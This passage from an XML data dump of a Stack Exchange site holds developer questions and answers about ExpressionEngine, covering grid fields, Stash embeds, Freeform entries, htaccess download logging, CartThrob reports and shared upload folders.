{/parents}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2013-12-10T16:32:58.167" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17592" PostTypeId="1" AcceptedAnswerId="18266" CreationDate="2013-12-10T16:38:26.370" Score="1" ViewCount="37" Body="&lt;p&gt;I'm making an rsvp app where a user can register for multiple events. Events may use different forms. In theory, users would use the same email address for all rsvp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I get all freeform entries ie &#xA;    {exp:freeform:entries search:email=&quot;a@a.com&quot;}&#xA;but without form_id or form_name?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Amanda&lt;/p&gt;&#xA;" OwnerUserId="1761" LastActivityDate="2014-01-10T15:49:29.217" Title="Return all freeform responses from same email" Tags="|solspace-freeform|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17593" PostTypeId="2" ParentId="17590" CreationDate="2013-12-10T17:03:57.417" Score="5" Body="&lt;p&gt;If &lt;code&gt;submenu&lt;/code&gt; is the grid fieldtype name, then all you need is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if submenu:total_rows &amp;gt; 0}submenu contents{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may need to add quotes and brackets around the condition if the above doesn't work &lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2013-12-10T17:03:57.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17595" PostTypeId="2" ParentId="17568" CreationDate="2013-12-10T17:18:13.403" Score="1" Body="&lt;p&gt;It looks like I found the issue I was having. The problem seems to have come from not updating the Channel Images plugin that Wygwam uses to enable inserting of images into the Body field using Channel Images. For some reason I had a different set of errors today compared to yesterday (original errors in my original post) which led me to the Channel Images plugin for ckeditor.&lt;/p&gt;&#xA;" OwnerUserId="505" LastActivityDate="2013-12-10T17:18:13.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17596" PostTypeId="1" CreationDate="2013-12-10T18:12:27.517" Score="1" ViewCount="420" Body="&lt;p&gt;I have a template tag that uses &lt;code&gt;$this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables()&lt;/code&gt; to create a single item with an array of &lt;code&gt;[items]&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;Array&#xA;(&#xA;    ...&#xA;    [accessRole] =&amp;gt; reader&#xA;    [items] =&amp;gt; Array&#xA;        (&#xA;        )&#xA;    ...&#xA;)&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should the parsed variables look like if it's empty and what should be it's corresponding template tag if I want to do something different when there are no &lt;code&gt;[items]&lt;/code&gt;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;An empty array doesn't seem to work (as shown above) when do &lt;code&gt;{if items}&lt;/code&gt; or &lt;code&gt;{if &quot;{items}&quot; == &quot;&quot;}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thoughts?&lt;/p&gt;&#xA;" OwnerUserId="565" LastActivityDate="2013-12-10T20:58:56.197" Title="parse_variables multidimentional empty array?" Tags="|add-on-development|module|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17598" PostTypeId="2" ParentId="17596" CreationDate="2013-12-10T18:39:10.547" Score="2" Body="&lt;p&gt;This is not intuitive at all, but you need an array containing an empty array:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$variables = array(&#xA;  array(&#xA;    'accessRole' =&amp;gt; 1,&#xA;    'items' =&amp;gt; array(array()),&#xA;  ),&#xA;);&#xA;&#xA;return ee()-&amp;gt;TMPL-&amp;gt;parse_variables(ee()-&amp;gt;TMPL-&amp;gt;tagdata, $variables);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-12-10T18:39:10.547" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17599" PostTypeId="1" CreationDate="2013-12-10T19:15:35.123" Score="0" ViewCount="171" Body="&lt;p&gt;Is there an equivalent to &lt;code&gt;{exp:channel:entries url_title=&quot;&quot;}&lt;/code&gt; except that goes by the &quot;&lt;code&gt;structure__uri&lt;/code&gt;&quot; that is defined in the Structure tab of an entry?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So that I can do like &lt;code&gt;{exp:channel:entries structure_url_title=&quot;&quot;}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2322" LastActivityDate="2013-12-10T19:41:37.217" Title="Structure url_title" Tags="|structure|entries|url-title|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17600" PostTypeId="2" ParentId="17599" CreationDate="2013-12-10T19:41:37.217" Score="3" Body="&lt;p&gt;No, even though we use the same hooks as the Pages module EE has no parameter for that. Here are all of the available parameters for the channel tag: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#parameters&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#parameters&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="726" LastActivityDate="2013-12-10T19:41:37.217" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17601" PostTypeId="2" ParentId="17596" CreationDate="2013-12-10T20:06:58.370" Score="0" Body="&lt;p&gt;I found setting the array to &lt;code&gt;&quot;&quot;&lt;/code&gt; seemed to work. Albeit screwy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like could be done programmatically: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;if (is_array($variables['items'] AND empty($variables['items'])) $variables['items'] = &quot;&quot;&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for instance.&lt;/p&gt;&#xA;" OwnerUserId="565" LastEditorUserId="565" LastEditDate="2013-12-10T20:12:40.587" LastActivityDate="2013-12-10T20:12:40.587" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17602" PostTypeId="1" AcceptedAnswerId="17604" CreationDate="2013-12-10T20:19:56.740" Score="3" ViewCount="1213" Body="&lt;p&gt;My little test looks like blow (fecthing a static channel entry 2 - works getting the data out )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I submit my grid fields gets empty'ed Can somebody please help with the right syntax to update the grid values - plus if I want to add a new row. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;my grid field is called mylist , in this i have two textfields text3 and date4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is it done ?? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;{couldn't get the code to display so attact a image}&#xA;&lt;img src=&quot;https://i.stack.imgur.com/zcS0M.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="717" LastActivityDate="2013-12-10T22:23:34.857" Title="How to work with the new channel forms and the new grid fieldtype ( and updateing it)" Tags="|channel-form|grid|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17603" PostTypeId="2" ParentId="17596" CreationDate="2013-12-10T20:58:56.197" Score="2" Body="&lt;p&gt;Upon closer inspection, the conditionals parser does not deal with arrays properly. I think the only thing you can do is use a separate variable to use with conditionals.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// {if items_count &amp;gt; 0}&#xA;'items_count' =&amp;gt; count($items),&#xA;&#xA;// OR&#xA;&#xA;// {if has_items}&#xA;'has_items' =&amp;gt; count($items) &amp;gt; 0,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-12-10T20:58:56.197" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17604" PostTypeId="2" ParentId="17602" CreationDate="2013-12-10T22:23:34.857" Score="3" Body="&lt;p&gt;The simplest way is to use &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{field:your_grid_fieldname} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to automatically output the grid content. Make sure you are also including the channel form css:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link href=&quot;{path=css/_ee_channel_form_css}&quot; type=&quot;text/css&quot; rel=&quot;stylesheet&quot; media=&quot;screen&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2013-12-10T22:23:34.857" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17605" PostTypeId="2" ParentId="17472" CreationDate="2013-12-10T22:26:25.467" Score="2" Body="&lt;p&gt;This is also unlikely to be used by BuiltWith, but do check your RSS feeds, especially if you are using a standard ExpressionEngine RSS template. You will find inside &lt;code&gt;&amp;lt;channel&amp;gt;&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;admin:generatorAgent rdf:resource=&quot;http://expressionengine.com/&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Check the Atom template too for a &lt;code&gt;&amp;lt;generator&amp;gt;&lt;/code&gt; tag.&lt;/p&gt;&#xA;" OwnerUserId="1019" LastActivityDate="2013-12-10T22:26:25.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17606" PostTypeId="2" ParentId="14821" CreationDate="2013-12-11T01:17:44.467" Score="5" Body="&lt;p&gt;As of EE 2.7.3 this is possible via the native orderby=&quot;random&quot; parameter.&#xA;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/grid.html#orderby&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/grid.html#orderby&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1336" LastActivityDate="2013-12-11T01:17:44.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17607" PostTypeId="1" CreationDate="2013-12-11T02:05:50.213" Score="0" ViewCount="30" Body="&lt;p&gt;I am trying to find a way to get the corresponding channel entry id of a member that was registered via Safecracker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A variation of my question has been answered &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/11596/safecracker-membership-how-to-get-the-entry-id-of-a-member&quot;&gt;here&lt;/a&gt;. However, this uses channel entry tag which means&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;it can't reliably be used by other plugins, snippets, etc because of some possible parse order issues&lt;/li&gt;&#xA;&lt;li&gt;it is limited to template use only. Can't be used in add-ons.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this?&lt;/p&gt;&#xA;" OwnerUserId="636" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-12-11T02:05:50.213" Title="Safecracker Registration - Get the corresponding channel entry_id for a member in add-ons" Tags="|safecracker-registration|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17608" PostTypeId="1" CreationDate="2013-12-11T03:15:38.740" Score="3" ViewCount="1448" Body="&lt;p&gt;I'm trying to deploy a new version of an EE site which has been upgraded to 2.7.2. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rather than just overwrite the existing system folder, I'm uploading the new one alongside it (with a different name) but when I update &lt;code&gt;$system_path&lt;/code&gt; in admin.php to point to the folder, &lt;em&gt;I get Your system folder path does not appear to be set correctly.&lt;/em&gt; If I change it back again, the CP login page loads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The path/name is definitely correct, I'm just swapping out the name of one for the other and they're both at the same level in the directory structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What else could be causing EE to not recognise the new system folder (server is running Windows if that helps)?&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2013-12-11T21:56:21.660" Title="Your system folder path does not appear to be set correctly" Tags="|system|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17609" PostTypeId="1" CreationDate="2013-12-11T09:09:00.543" Score="1" ViewCount="110" Body="&lt;p&gt;I'm trying to do some stash embeds but when embeds contain nested plugins (so, more than one) he doesn't retrive any value.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{my_loop}{stash:embed name=&quot;my_total{count}&quot; file_name=&quot;_stash:total_htva_stash&quot; stash:collection_name=&quot;acompte{count}&quot; process=&quot;inline&quot; parse_stage=&quot;set&quot;}{/my_loop}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My embed stash template :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:mx_calc expression=&quot;round(({exp:tally:total collection='{stash:collection_name}' decimals='2'}*0.21),2)&quot; parse=&quot;inward&quot;}{calc_result}{/exp:mx_calc}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I just put 1 plugin in the embed :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:tally:total collection='{stash:collection_name}' decimals='2'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the embed retrieve a sum (tally plugin is made to sum some numbers) but when I put tally into mx calculator (to do a math on the tally's sum) it doesn't work. When I made it in EE embed it works but I need stash embed to use the result as a variable in the host template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if it is clear (english is not my mother tongue).&lt;/p&gt;&#xA;" OwnerUserId="2488" LastActivityDate="2013-12-20T17:45:13.053" Title="Stash embeds containing multiple nested plugins doesn't retrieve anything" Tags="|stash|embeds|variable|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17610" PostTypeId="1" CreationDate="2013-12-11T10:33:41.347" Score="1" ViewCount="975" Body="&lt;p&gt;I need to log downloads to the database, to do this I'm trying to redirect requests for downloads to a template where I can call a custom module function and save info to the db, before providing the original download.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the following htaccess, but it just keeps appending to the URL and gives a ';Error: The URL contains too many segments.' error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^/downloads/files/(.*)\.zip$ /index.php/log/file_downloads/$1 [L]        &#xA;&#xA;# Removes index.php&#xA;RewriteCond $1 !\.(gif|jpe?g|png|ico)$ [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This must be pretty close, any help appreciated!&lt;/p&gt;&#xA;" OwnerUserId="2489" LastEditorUserId="2489" LastEditDate="2013-12-11T19:54:19.720" LastActivityDate="2013-12-12T16:59:47.377" Title="redirect request for file download to a template first" Tags="|htaccess|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17611" PostTypeId="1" CreationDate="2013-12-11T11:16:57.293" Score="2" ViewCount="139" Body="&lt;p&gt;Is there a way to share upload locations between MSM sites, or to sync the dirs for both sites?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, is there another module that can do this?&lt;/p&gt;&#xA;" OwnerUserId="6" LastActivityDate="2013-12-11T20:18:06.227" Title="Share upload locations MSM" Tags="|multi-site-manager|file-uploads|file-manager|files|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17612" PostTypeId="1" CreationDate="2013-12-11T11:54:23.137" Score="2" ViewCount="80" Body="&lt;p&gt;Sooo I've got a bunch of entries in a channel and the user needs to be able to go through and edit them one by one and move prev and next through them if required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, ideally I'd probably nest a channel form tag in a channel entries tag as channel form doesn't provide any kind of pagination, but from what I've read, that isn't a good idea....not sure why....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="42" LastEditorUserId="28" LastEditDate="2013-12-11T19:52:48.213" LastActivityDate="2014-02-11T11:29:03.960" Title="Channel Forms edit form with pagination" Tags="|pagination|channel-form|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17613" PostTypeId="1" AcceptedAnswerId="17614" CreationDate="2013-12-11T12:13:09.040" Score="1" ViewCount="71" Body="&lt;p&gt;I am trying to just get relationships based on a certain category (accommodatie_lesaanbod_relatie). However this doesn't seem to do anything. All relationships are returned without any regard to the category it's in.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:webs_low_search:results&#xA;    collection=&quot;accommodatie&quot;&#xA;    categories_in_children_from_channel=&quot;les&quot;&#xA;    disable=&quot;member_data|pagination|categories|category_fields&quot;&#xA;    parse=&quot;inward&quot;&#xA;    location_based=&quot;n&quot;&#xA;    radius=&quot;{location_filter_radius}&quot;&#xA;    limit=&quot;5&quot;&#xA;}&#xA;&#xA;    {stash:channel}{channel_short_name}{/stash:channel}&#xA;    {stash:channel_name}{channel}{/stash:channel_name}&#xA;    {stash:url_title}{url_title}{/stash:url_title}&#xA;    {stash:title}{title}{/stash:title}&#xA;    {stash:entry_id}{entry_id}{/stash:entry_id}&#xA;    {stash:item}accommodatie-{count}{/stash:item}&#xA;&#xA;    {stash:subtitel}{accommodatie_stad}{/stash:subtitel}&#xA;    {stash:afbeelding}{accommodatie_afbeelding}{/stash:afbeelding}&#xA;    {stash:href}/{channel_short_name}/{url_title}{exp:webs_filter_url}{/stash:href}&#xA;&#xA;    {accommodatie_lesaanbod_relatie category=&quot;5&quot;}&#xA;        {exp:stash:append_list&#xA;            name=&quot;list-les-1&quot;&#xA;            parse_tags=&quot;yes&quot;&#xA;            save=&quot;{cache_collectie_h}&quot;&#xA;            scope=&quot;{stash:_scope}&quot;&#xA;            replace=&quot;{cache_replace_h}&quot;&#xA;            refresh=&quot;{cache_refresh}&quot;&#xA;        }&#xA;            {stash:title}{accommodatie_lesaanbod_relatie:title}{/stash:title}&#xA;            {stash:item}les-{accommodatie_lesaanbod_relatie:count}{/stash:item}&#xA;        {/exp:stash:append_list}&#xA;    {/accommodatie_lesaanbod_relatie}&#xA;&#xA;{/exp:webs_low_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anyone know what the problem might be? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2146" LastActivityDate="2013-12-11T13:37:23.920" Title="Relationships based on category" Tags="|relationships|low-search|related-entries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17614" PostTypeId="2" ParentId="17613" CreationDate="2013-12-11T13:37:23.920" Score="1" Body="&lt;p&gt;The &lt;code&gt;category&lt;/code&gt; parameter was only added to the native Relationships tag pair in 2.7.3 (released yesterday). (&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/about/changelog.html#version-2-7-3&quot; rel=&quot;nofollow&quot;&gt;See changelog.&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-12-11T13:37:23.920" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17615" PostTypeId="2" ParentId="17403" CreationDate="2013-12-11T14:33:19.493" Score="3" Body="&lt;p&gt;This is bug with ckeditor upon which WYGWAM is built. Pixel and Tonic have said fix is coming soon in new release of WYGWAM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Lkzsl.png&quot; alt=&quot;twitter&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="69" LastEditorUserId="69" LastEditDate="2013-12-11T15:20:18.597" LastActivityDate="2013-12-11T15:20:18.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17616" PostTypeId="1" AcceptedAnswerId="17624" CreationDate="2013-12-11T14:35:53.957" Score="0" ViewCount="67" Body="&lt;p&gt;I am trying to generate a report in CartThrob that will display individual products sold. &#xA;In the CT order manager when you click on Product Report you get a list of products and how many you have sold of each. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem is when you add the date range and generate the report it generates an order report and not a product report.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to be able to generate a report that shows how many of Product A | Product B was sold within a time frame.  NOT a report of orders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also the product report only shows 23 products, there does not seem to be a way to display all products or filter them at all.&lt;/p&gt;&#xA;" OwnerUserId="451" LastEditorUserId="55" LastEditDate="2013-12-11T15:08:02.860" LastActivityDate="2014-08-12T22:58:20.037" Title="Product Report within a time frame in CartThrob" Tags="|cartthrob|shopping-cart|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17617" PostTypeId="1" CreationDate="2013-12-11T15:18:22.007" Score="2" ViewCount="110" Body="&lt;p&gt;I received this message from Google: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Google has detected user-generated spam on your site. Typically, this&#xA;  kind of spam is found on forum pages, guestbook pages, or in user&#xA;  profiles. As a result, Google has applied a manual spam action to&#xA;  4sonline.org/forums/member/.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have seen the member spam attacks described elsewhere on the board, but that is not going on here. While the site has a few hundred members, all have been approved by me and most have never visited the site. Only three have logged in in the last two months. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on what I could be missing?&lt;/p&gt;&#xA;" OwnerUserId="2462" LastEditorUserId="69" LastEditDate="2013-12-11T15:23:17.520" LastActivityDate="2015-08-13T16:49:53.617" Title="Google claims member spam--I can't find it" Tags="|spam|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="17618" PostTypeId="1" CreationDate="2013-12-11T15:30:01.757" Score="1" ViewCount="40" Body="&lt;p&gt;We're looking for a plug in that is already made or someone who would know how to create a plug in for Store that would essentially create sessions for buyers.  What I mean is that someone places Item A in there cart and there is 3 Item As in stock.  Once that Item is placed in the cart it comes out of stock on the system and the person has 10 minutes to buy the product.  At the end of 10 minutes the item is put back in stock if it is not purchased, if it is purchased it is not put back in stock at all.  This would be the same system as say Ticketmaster when you buy tickets.  It holds your tickets for you in a session.  Any help would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1691" LastActivityDate="2013-12-12T01:23:26.983" Title="Store Sessions Timer" Tags="|expresso-store|add-on-development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17619" PostTypeId="1" AcceptedAnswerId="17623" CreationDate="2013-12-11T15:36:20.807" Score="3" ViewCount="80" Body="&lt;p&gt;I'm getting a &quot;No Collections Found&quot; after submittal of a Channel:Form (safecracker). Googled that phrase + expressionengine and only found the potential of a conflict with Low:Search (installed btw). Is there a known solution?&lt;/p&gt;&#xA;" OwnerUserId="1388" LastActivityDate="2013-12-16T09:41:41.303" Title="No Collections Found upon submittal of channel:form" Tags="|safecracker|low-search|channel-form|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17620" PostTypeId="1" CreationDate="2013-12-11T17:51:20.777" Score="2" ViewCount="82" Body="&lt;p&gt;On our company contact page we have a footer with contact information that should change based on whether or not we're open. I'm using Low Variables to store this information and have standard office hours in there with a Time Select. That part is easy enough. It's the office holidays that are stumping me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1. Easy Solution:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I build in a Matrix field where we enter, say, the next five years of holidays. Then I match the current date against that list when loading the contact page and show the appropriate footer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2. More Automated/Awesomer Solution:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;? I'm not sure. This is tricky because of things like Thanksgiving, or holidays that span multiple days. Ideally I'd just use some public holiday calendar feed and check off the holidays we honor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suggestions? Unfortunately I don't have time to develop something custom. May need to go with option #1 for now.&lt;/p&gt;&#xA;" OwnerUserId="436" LastActivityDate="2013-12-16T21:30:04.027" Title="Looking for a way to store office holidays to display custom messages on days we're closed" Tags="|low-variables|date|calendar|time|low|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17621" PostTypeId="1" CreationDate="2013-12-11T18:20:00.597" Score="5" ViewCount="250" Body="&lt;p&gt;I have a Field Pack Checkbox, with just a single option, inside a Matrix field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just updated to Matrix 2.5.10, Fieldpack 2.1.1 (from the outdated version), and EE 2.7.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The value of the checkbox inside the matrix field will no longer save. If I check the single checkbox, submit the entry, and then go back to edit the same entry, the box is no longer checked. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I currently can't edit any old entries in this channel because the value of the checkbox will be lost when the entry is submitted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any Field Pack Checkbox &lt;strong&gt;not&lt;/strong&gt; inside of a Matrix still works fine. I have tried re-installing Matrix and Field Pack. &lt;/p&gt;&#xA;" OwnerUserId="390" LastActivityDate="2017-09-15T14:02:04.043" Title="Checkbox inside Matrix broken after update" Tags="|matrix|field-pack|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17623" PostTypeId="2" ParentId="17619" CreationDate="2013-12-11T18:35:32.240" Score="4" Body="&lt;p&gt;It's a known bug and will be fixed in the next version of Low Search. To fix yourself, open up &lt;code&gt;/low_search/libraries/Low_search_index.php&lt;/code&gt; (v3.0.2), and look up line #79, which reads:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;die('No collections found');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change that to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return FALSE;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...and you should be good to go.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-12-11T18:35:32.240" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17624" PostTypeId="2" ParentId="17616" CreationDate="2013-12-11T19:49:20.557" Score="2" Body="&lt;p&gt;Take a look at &lt;a href=&quot;http://devot-ee.com/add-ons/ct-admin&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;CT Admin&lt;/strong&gt;&lt;/a&gt;. It's a 3rd Party reporting tool for CartThrob. Might do the trick for you.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;a stand alone store management panel that allows for order and&#xA;  customer management as well as reporting and data export.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here are details on what the CP looks like for the addon:&lt;br&gt;&#xA;&lt;a href=&quot;http://www.mithra62.com/docs/detail/ct-admin-instructions/&quot; rel=&quot;nofollow&quot;&gt;http://www.mithra62.com/docs/detail/ct-admin-instructions/&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-12-11T19:49:20.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17625" PostTypeId="2" ParentId="17610" CreationDate="2013-12-11T20:12:17.920" Score="1" Body="&lt;p&gt;There are two add-ons available for tracking downloads, so I'd suggest investigating these options before trying to roll your own. They are &lt;a href=&quot;http://devot-ee.com/add-ons/link-vault&quot; rel=&quot;nofollow&quot;&gt;Link Vault&lt;/a&gt; and &lt;a href=&quot;http://devot-ee.com/add-ons/protected-links&quot; rel=&quot;nofollow&quot;&gt;Protected Links&lt;/a&gt; both are quite similar and work very well for what you're looking to do.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-12-11T20:12:17.920" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17626" PostTypeId="2" ParentId="17611" CreationDate="2013-12-11T20:18:06.227" Score="3" Body="&lt;p&gt;If you have command line access on the server, you can setup a Symbolic Link:&#xA;&lt;a href=&quot;http://www.wallpaperama.com/forums/linking-files-with-symbolic-links-linux-unix-shell-command-tutorial-guides-t479.html&quot; rel=&quot;nofollow&quot;&gt;http://www.wallpaperama.com/forums/linking-files-with-symbolic-links-linux-unix-shell-command-tutorial-guides-t479.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apparently you can also set up a Symbolic Link without command line access using PHP:  &lt;a href=&quot;http://perishablepress.com/use-php-to-create-symbolic-links-without-shell-access/&quot; rel=&quot;nofollow&quot;&gt;http://perishablepress.com/use-php-to-create-symbolic-links-without-shell-access/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-12-11T20:18:06.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
